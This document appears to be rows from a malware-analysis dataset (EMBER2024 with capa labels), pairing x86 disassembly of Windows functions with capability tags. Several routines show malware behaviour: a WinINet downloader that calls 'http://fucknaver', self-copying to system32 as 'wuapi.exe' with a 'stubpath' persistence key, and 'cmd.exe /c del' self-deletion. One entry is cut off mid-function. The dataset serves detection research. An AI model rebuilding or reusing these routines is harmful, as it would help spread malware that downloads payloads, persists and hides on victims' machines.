joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40de8c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00405cf0
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
mov edi, eax
cmp edi, 0x104
jbe 0x40de36
mov eax, edi
add eax, eax
call fcn.00403a24
mov esi, eax
jmp 0x40de38
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
push edi
push esi
call sub.user32.dll_CharUpperBuffW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x40de71
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x40de5b
mov eax, esp
cmp esi, eax
je 0x40de7e
mov eax, esi
call fcn.00403a40
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x40deb8
cmp bl, 0
je 0x40deb4
cmp bl, 0x41
jl 0x40deaf
cmp bl, 0x5a
jg 0x40deaf
or bl, 0x20
xor al, bl
inc esi
jmp 0x40de93
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x40ddf8

Function at 0x410170
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x410178
push ebx
push esi
push edi
mov eax, dword [0x411d88]
mov byte [eax], 1
mov eax, 0x40e638
call fcn.00408af8
xor eax, eax
push ebp
push 0x4102fc
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x410296
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00403d78
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.0040ad78
mov edx, dword [ebp - 0x14]
mov eax, 0x416e6c
call fcn.004060ec
lea eax, [ebp - 0x1c]
mov ecx, 0x410318
mov edx, dword [0x416e6c]
call fcn.004064dc
mov eax, dword [ebp - 0x1c]
call fcn.0040ac54
test al, al
jne 0x41025e
lea eax, [ebp - 0x20]
mov ecx, 0x410340
mov edx, dword [0x416e6c]
call fcn.004064dc
mov eax, dword [ebp - 0x20]
call fcn.0040ac54
test al, al
je 0x410251
push 0
lea eax, [ebp - 0x24]
mov ecx, 0x410318
mov edx, dword [0x416e6c]
call fcn.004064dc
mov eax, dword [ebp - 0x24]
call fcn.00406178
push eax
lea eax, [ebp - 0x28]
mov ecx, 0x410340
mov edx, dword [0x416e6c]
call fcn.004064dc
mov eax, dword [ebp - 0x28]
call fcn.00406178
push eax
call sub.kernel32.dll_CopyFileW
jmp 0x41025e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4102e1
push 1
push 0
push 0
lea eax, [ebp - 0x2c]
mov ecx, 0x410318
mov edx, dword [0x416e6c]
call fcn.004064dc
mov eax, dword [ebp - 0x2c]
call fcn.00406178
push eax
push 0x410358
push 0
call sub.shell32.dll_ShellExecuteW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4102e1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x410303
lea eax, [ebp - 0x30]
mov edx, 8
call fcn.004060e4
ret

Function at 0x4c5251
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
pushal
push ebp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, dword [esp + 8]
mov eax, ebx
push esi
xor esi, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401010
sub eax, edx
xor edx, edx
mov ecx, 3
div ecx
test edx, edx
je 0x40102d
push 0
call fcn.004025dc
mov al, byte [ebx]
test al, al
push edi
mov edi, dword [esp + 0x14]
je 0x40105f
lea ecx, [ebx + 2]
jmp 0x401040
mov bl, byte [ecx]
mov dl, 0xa
imul dl
add al, byte [ecx - 1]
mov dl, 0xa
imul dl
add al, bl
add al, 0x30
add ecx, 3
mov byte [esi + edi], al
mov al, byte [ecx - 2]
inc esi
test al, al
jne 0x401040
mov byte [esi + edi], 0
pop edi
pop esi
pop ebx
ret
Function at 0x401140
Capabilities:
Create http request
Terminate process
Write file on windows

Disassembly:
sub esp, 0x50
xor eax, eax
xor ecx, ecx
push ebx
mov dword [esp + 0x15], eax
mov dword [esp + 0x35], ecx
mov dword [esp + 0x19], eax
mov dword [esp + 0x39], ecx
push ebp
xor ebx, ebx
mov dword [esp + 0x21], eax
mov dword [esp + 0x41], ecx
push esi
mov dword [esp + 0x29], eax
mov dword [esp + 0x49], ecx
push ebx
mov dword [esp + 0x31], eax
mov dword [esp + 0x51], ecx
push ebx
mov dword [esp + 0x39], eax
mov dword [esp + 0x59], ecx
push ebx
mov dword [esp + 0x41], eax
mov dword [esp + 0x61], ecx
push ebx
mov word [esp + 0x49], ax
mov word [esp + 0x69], cx
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.1__SV1__.NET_CLR_1.1.4322_
mov byte [esp + 0x30], bl
mov byte [esp + 0x4f], al
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov byte [esp + 0x23], bl
mov byte [esp + 0x50], bl
mov byte [esp + 0x6f], cl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edx, dword [esp + 0x60]
push ebx
push 0x80000000
push ebx
push ebx
mov ebp, eax
push edx
push ebp
mov dword [esp + 0x30], ebp
call dword [0x40aa54]
push ebx
mov esi, eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x24]
push ecx
push 0x13
push esi
call dword [0x40aa6c]
push ebx
push 1
push str.http:__fucknaver_
call dword [0x40aa4c]
push ebx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x24]
push eax
push 0x13
push esi
call dword [0x40aa6c]
test eax, eax
je 0x401313
push 3
lea ecx, [esp + 0x20]
push 0x4082fc
push ecx
call fcn.004026b0
add esp, 0xc
test eax, eax
jne 0x40130c
push ebx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x44]
push eax
push 5
push esi
call dword [0x40aa6c]
push ebx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x44]
push edx
push 5
push esi
call dword [0x40aa6c]
test eax, eax
je 0x40130c
lea eax, [esp + 0x3c]
push edi
push eax
call fcn.004026a4
mov ecx, dword [esp + 0x6c]
add esp, 4
push ebx
push 0x80
push 2
push ebx
push 1
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40130b
lea edx, [esp + 0x14]
push edx
push 1
lea eax, [esp + 0x1b]
push eax
push esi
call dword [0x40aa44]
test eax, eax
je 0x4012e1
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [esp]
cmp dword [esp + 0x14], ebx
je 0x4012dd
push ebx
lea ecx, [esp + 0x1c]
push ecx
push 1
lea edx, [esp + 0x1f]
push edx
push edi
call ebp
lea eax, [esp + 0x14]
push eax
push 1
lea ecx, [esp + 0x1b]
push ecx
push esi
call dword [0x40aa44]
test eax, eax
jne 0x4012b0
mov ebp, dword [esp + 0x1c]
push esi
call dword [0x40aa78]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x68]
push 5
push edx
call dword [0x40aa48]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x50
ret
push esi
call dword [0x40aa78]
push ebp
call dword [0x40aa78]
push ebx
call fcn.004025dc
int3
Function at 0x401330
Capabilities:
Create process on windows
Get common file path
Resume thread
Self delete
Terminate process

Disassembly:
sub esp, 0x360
push ebx
push ebp
push esi
push edi
push 0x104
lea eax, [esp + 0x68]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4014bc
push 0x104
lea ecx, [esp + 0x68]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4014bc
push 0x104
lea eax, [esp + 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 0x26c]
dec edi
jmp 0x401390
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401390
mov ecx, dword [str.cmd.exe]
mov edx, dword [0x408378]
mov al, byte [0x40837c]
mov dword [edi], ecx
push str.__c__del
lea ecx, [esp + 0x16c]
mov dword [edi + 4], edx
push ecx
mov byte [edi + 8], al
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x64]
push edx
lea eax, [esp + 0x16c]
push eax
call esi
push str.___nul
lea ecx, [esp + 0x16c]
push ecx
call esi
lea edx, [esp + 0x168]
push edx
lea eax, [esp + 0x270]
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor eax, eax
mov ecx, 0x10
lea edi, [esp + 0x24]
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], ecx
push 0x100
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
mov word [esp + 0x54], bx
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xf
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push eax
call edi
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0xc
push 0
push 0
push 0
lea ecx, [esp + 0x28c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4014ae
mov edx, dword [esp + 0x10]
push 0x40
push edx
call esi
mov eax, dword [esp + 0x14]
push 0xfffffffffffffff1
push eax
call edi
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x360
ret
push 0x20
call ebp
push eax
call esi
push 0
call ebx
push eax
call edi
push 0
call fcn.004025dc
int3
Function at 0x401810
Capabilities:
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40189f
push edi
push 2
push 0
push 0xffffffffffffffda
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [esp + 0x14]
push 0
lea ecx, [esp + 0xc]
push ecx
push 0x26
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40189e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401870
sub eax, edx
cmp eax, 0x26
je 0x40189e
xor edx, edx
mov dword [edi], edx
mov dword [edi + 4], edx
mov dword [edi + 8], edx
mov dword [edi + 0xc], edx
mov dword [edi + 0x10], edx
mov dword [edi + 0x14], edx
mov dword [edi + 0x18], edx
mov dword [edi + 0x1c], edx
mov dword [edi + 0x20], edx
mov word [edi + 0x24], dx
pop edi
pop esi
pop ecx
ret

Function at 0x4018b0
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401910
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x401910
mov edx, dword [esp + 0x10]
mov eax, edx
push edi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4018f2
push 0
lea ecx, [esp + 0xc]
push ecx
sub eax, edi
push eax
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
pop edi
jne 0x401915
xor eax, eax
pop esi
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
pop ecx
ret
Function at 0x401930
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x408
push esi
push edi
xor eax, eax
mov byte [esp + 0x10], 0
mov ecx, 0xff
lea edi, [esp + 0x11]
rep stosd dword es:[edi], eax
mov ecx, dword [str.083079070084087065082069092077105099114111115111102116092065099116105118101032083101116117112092073110115116097108108101100032067111109112111110101110116115092]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
push ecx
call section..text
mov eax, dword [ebp + 8]
add esp, 8
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401970
lea edi, [esp + 0x10]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x401980
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, eax
push 1
and ecx, 3
push str.http:__fucknaver_
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WININET.dll_InternetCheckConnectionA]
test eax, eax
jne 0x401a00
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x14]
push eax
push 0x80000002
call dword [0x40aa5c]
test eax, eax
jne 0x4019ed
push str._SystemRoot__system32wuapi.exe
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0xc]
push eax
push str._SystemRoot__system32wuapi.exe
push 2
push 0
push str.stubpath
push ecx
call dword [0x40aa60]
test eax, eax
je 0x4019f5
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0xc]
push edx
call dword [0x40aa50]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401d90
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
push edi
xor eax, eax
mov byte [esp + 0x110], 0
mov ecx, 0x40
lea edi, [esp + 0x111]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov byte [esp + 8], 0
mov ecx, 0x40
lea edi, [esp + 9]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [esp + 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edi, [esp + 0x110]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401de8
mov ecx, dword [str.wuapi.exe]
mov edx, dword [0x4084bc]
mov ax, word [0x4084c0]
mov dword [edi], ecx
mov cl, byte [0x4084c2]
mov dword [edi + 4], edx
mov word [edi + 8], ax
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x114]
push eax
mov byte [edi + 0xa], cl
call fcn.00401810
add esp, 8
push 0
lea ecx, [esp + 0x114]
push ecx
push 0x40a940
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x401eb2
lea eax, [esp + 8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401e50
sub eax, edx
cmp eax, 0x26
jne 0x401e6b
lea edx, [esp + 8]
push edx
call fcn.00401bd0
add esp, 4
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
call fcn.004014d0
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x118]
push edx
call fcn.004018b0
lea eax, [esp + 0x14]
push eax
call fcn.00401930
add esp, 0x10
test eax, eax
je 0x401eb2
lea ecx, [esp + 8]
push ecx
call fcn.00401a10
add esp, 4
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4022d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x270
push esi
push edi
xor eax, eax
mov byte [esp + 0x170], 0
mov ecx, 0x40
lea edi, [esp + 0x171]
rep stosd dword es:[edi], eax
mov ecx, dword [0x40a06c]
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x170]
push eax
push ecx
call section..text
add esp, 8
lea edx, [esp + 0x170]
push edx
push str.wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x408388
push 0x40a940
mov dword [0x40aa44], eax
call fcn.00402720
add esp, 8
test eax, eax
jne 0x40235e
call fcn.00401d90
call fcn.00401fc0
call fcn.00401330
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [ebp + 0x10]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402366
sub eax, edx
mov dword [esp + 0xc], eax
je 0x4023ed
push str.start
push esi
call fcn.00402720
add esp, 8
test eax, eax
je 0x4023ed
call fcn.00402290
xor eax, eax
mov byte [esp + 0x68], 0
mov ecx, 0x40
lea edi, [esp + 0x69]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x68]
push eax
push 0x40a940
call fcn.00401810
lea eax, [esp + 0x70]
add esp, 8
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4023c0
sub eax, edx
cmp eax, 0x26
jne 0x4023db
lea ecx, [esp + 0x68]
push ecx
call fcn.00401a10
add esp, 4
call fcn.00401fc0
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov edi, 0x40a940
mov dword [esp + 0x4c], 1
mov word [esp + 0x50], 5
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402410
mov edx, dword [str.__start]
mov eax, dword [0x408508]
mov dword [edi], edx
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x24]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0x40a940
push 0
mov dword [edi + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x402519
Capabilities:
Terminate process

Disassembly:
push 8
push 0x408628
call fcn.00402ddc
push 8
call fcn.00402c2e
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x40aac0], esi
jne 0x40254d
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x40aabc], esi
mov al, byte [ebp + 0x10]
mov byte [0x40aab8], al
cmp dword [ebp + 0xc], edi
jne 0x402597
cmp dword [0x40b28c], edi
je 0x402587
mov eax, dword [0x40b288]
sub eax, 4
mov dword [0x40b288], eax
cmp eax, dword [0x40b28c]
jb 0x402587
mov eax, dword [eax]
cmp eax, edi
je 0x402568
call eax
jmp 0x402568
push 0x40a054
mov eax, 0x40a050
call fcn.00402497
pop ecx
push 0x40a05c
mov eax, 0x40a058
call fcn.00402497
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x4025c8
cmp dword [ebp + 0x10], edi
jne 0x4025d6
mov dword [0x40aac0], esi
push dword [ebp + 8]
call fcn.00402455
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x4025d5
push 8
call fcn.00402b79
pop ecx
ret
call fcn.00402e17
ret
Function at 0x402906
Capabilities:
Accept command line arguments
Parse pe header
Terminate process

Disassembly:
push 0x60
push 0x408638
call fcn.00402ddc
mov edi, 0x94
mov eax, edi
call fcn.00402880
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x40aa80], ecx
mov eax, dword [esi + 4]
mov dword [0x40aa8c], eax
mov edx, dword [esi + 8]
mov dword [0x40aa90], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x40aa84], esi
cmp ecx, 2
je 0x402966
or esi, 0x8000
mov dword [0x40aa84], esi
shl eax, 8
add eax, edx
mov dword [0x40aa88], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x4029a1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4029a1
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x4029b9
cmp eax, 0x20b
je 0x4029a6
mov dword [ebp - 0x1c], esi
jmp 0x4029cd
cmp dword [ecx + 0x84], 0xe
jbe 0x4029a1
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x4029c7
cmp dword [ecx + 0x74], 0xe
jbe 0x4029a1
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.00403e04
pop ecx
test eax, eax
jne 0x4029e1
push 0x1c
call fcn.004028e2
pop ecx
call fcn.00403352
test eax, eax
jne 0x4029f2
push 0x10
call fcn.004028e2
pop ecx
call fcn.00402d51
mov dword [ebp - 4], esi
call fcn.00403bec
test eax, eax
jge 0x402a0b
push 0x1b
call fcn.004028bd
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40b280], eax
call fcn.00403aca
mov dword [0x40aac4], eax
call fcn.00403a28
test eax, eax
jge 0x402a31
push 8
call fcn.004028bd
pop ecx
call fcn.004037f5
test eax, eax
jge 0x402a42
push 9
call fcn.004028bd
pop ecx
push 1
call fcn.004024af
pop ecx
mov dword [ebp - 0x28], eax
cmp eax, esi
je 0x402a58
push eax
call fcn.004028bd
pop ecx
mov dword [ebp - 0x44], esi
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00403798
mov dword [ebp - 0x20], eax
test byte [ebp - 0x44], 1
je 0x402a79
movzx eax, word [ebp - 0x40]
jmp 0x402a7c
push 0xa
pop eax
push eax
push dword [ebp - 0x20]
push esi
push esi
call edi
push eax
call fcn.004022d0
mov edi, eax
mov dword [ebp - 0x2c], edi
cmp dword [ebp - 0x1c], esi
jne 0x402a9a
push edi
call fcn.004025dc
call fcn.004025fe
jmp 0x402acc
or dword [ebp - 4], 0xffffffff
mov eax, edi
lea esp, [ebp - 0x7c]
call fcn.00402e17
ret
Function at 0x403484
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x40a6f0]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x40a330]
je 0x4034b9
inc eax
cmp eax, 0x13
jb 0x4034aa
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x40a330]
jne 0x4035df
mov eax, dword [0x40aacc]
cmp eax, 1
je 0x4035b7
cmp eax, edx
jne 0x4034e9
cmp dword [0x40a074], 1
je 0x4035b7
cmp ecx, 0xfc
je 0x4035df
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40351f
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.004049e0
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.00405090
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x403553
mov eax, edi
push eax
call fcn.00405090
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x408c48
push edi
call fcn.00404b30
add esp, 0x10
push edi
call fcn.00405090
push dword [esi + 0x40a334]
mov ebx, eax
call fcn.00405090
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.00402880
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.004049e0
push edi
push ebx
call fcn.004049f0
push 0x408c28
push ebx
call fcn.004049f0
push dword [esi + 0x40a334]
push ebx
call fcn.004049f0
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.004057fd
add esp, 0x2c
jmp 0x4035df
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x40a334]
push dword [esi]
call fcn.00405090
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.0040514c
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret